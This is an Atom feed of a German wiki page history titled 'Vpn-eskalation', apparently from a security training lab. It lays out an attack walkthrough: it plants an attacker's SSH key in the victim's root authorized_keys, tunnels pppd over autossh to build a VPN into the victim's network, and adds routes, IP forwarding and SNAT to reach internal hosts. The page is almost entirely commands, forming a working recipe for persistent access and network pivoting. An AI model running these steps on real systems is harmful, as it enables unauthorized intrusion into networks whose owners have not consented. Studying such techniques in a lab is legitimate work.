https://wiki.ixheim.de/index.php?action=history&feed=atom&title=Vpn-eskalation
Vpn-eskalation - Versionsgeschichte
2026-06-29T13:54:40Z
Versionsgeschichte dieser Seite in Xinux Wiki
MediaWiki 1.35.1
https://wiki.ixheim.de/index.php?title=Vpn-eskalation&diff=28936&oldid=prev
Thomas.will: Die Seite wurde neu angelegt: „ =Opfer= ==Läuft ssh?== *netstat -lntp | grep 22 tcp6 0 0 :::22 :::* LISTEN 4360/sshd ==SSH Key für root hinterlegen== *cat<<HERE >> ~/.ssh/a…“
2021-10-25T16:27:49Z
<p>Die Seite wurde neu angelegt: „ =Opfer= ==Läuft ssh?== *netstat -lntp | grep 22 tcp6 0 0 :::22 :::* LISTEN 4360/sshd ==SSH Key für root hinterlegen== *cat<<HERE >> ~/.ssh/a…“</p>
<p><b>Neue Seite</b></p><div><br />
<br />
=Opfer=<br />
==Läuft ssh?==<br />
*netstat -lntp | grep 22<br />
tcp6 0 0 :::22 :::* LISTEN 4360/sshd<br />
==SSH Key für root hinterlegen==<br />
*cat<<HERE >> ~/.ssh/authorized_keys<br />
<pre><br />
ssh-rsa <br />
AAAAB3NzaC1yc2EAAAADAQABAAABgQCyfX1o6lByLHpnY1IUPYTphHAPECeKukP7kxZOuLCxO7xSIejrwSABRccyPbRu49Y8uuFKrpTHyUWf4H5e/lUH56EWETA6QYrpfNnbwXkMeNmOQ4QBw3y2gF978u4dPelfGn0iLZfqsO5PcvYR8+Mz8GiAGnEtoGpctYoSku1AlzENQVIiK61YrEVJ2dJ59wo6p14JA3Lu6ka/FazCzcA3rtMQyfwwy4LVcKxJ63SBfg7HLRwNu1+9M9oWMr2+RVTN/WAlXmNgF8hnCNR9liNrVKMnKiOPEpMm3+5/KgHmZKy3Da8TrPr9AXiMkZyTkrxs1DyTgojFUEoxrtM60iayPkRjQRB/eYItCSXT6AICmlVAOwPQYVW3PT8QhK5PGxhr72xMA3ehQheeupWPmzXyvYxzfbJCm9GnyFxde+Ylp69/VSmzZrT9E8PIVCWSra7YHuO+JYFMBhDbaexiHOD+Akltb4IbImMlMyOYvkRRWTRssiO543BhdDmyDtiQE+U= root@tauron<br />
HERE<br />
</pre><br />
<br />
=VPN einrichten um Zugriff zum Netz zu erlangen=<br />
*apt-get install ppp<br />
=Angreifer=<br />
==Vpn-Hack==<br />
*pppd updetach noauth passive pty "autossh -D 19999 -P 10.80.100.105 -p 22 -o Batchmode=yes pppd nodetach notty noauth" ipparam vpn 172.29.29.2:172.29.29.1<br />
<br />
*ip route add 10.80.100.101/32 via 172.29.29.1<br />
*ip route add 10.80.100.102/32 via 172.29.29.1<br />
*ip route add 10.80.100.103/32 via 172.29.29.1<br />
*ip route add 10.80.100.104/32 via 172.29.29.1<br />
*ip route add 10.80.100.106/32 via 172.29.29.1<br />
*ip route add 10.80.100.107/32 via 172.29.29.1<br />
*ip route add 10.80.100.108/32 via 172.29.29.1<br />
<br />
=Opfer=<br />
==VPN Forward und Nat==<br />
*echo 1 > /proc/sys/net/ipv4/ip_forward<br />
*iptables -t nat -I POSTROUTING -j SNAT -s 172.29.29.2 --to 10.80.100.105</div>
Thomas.will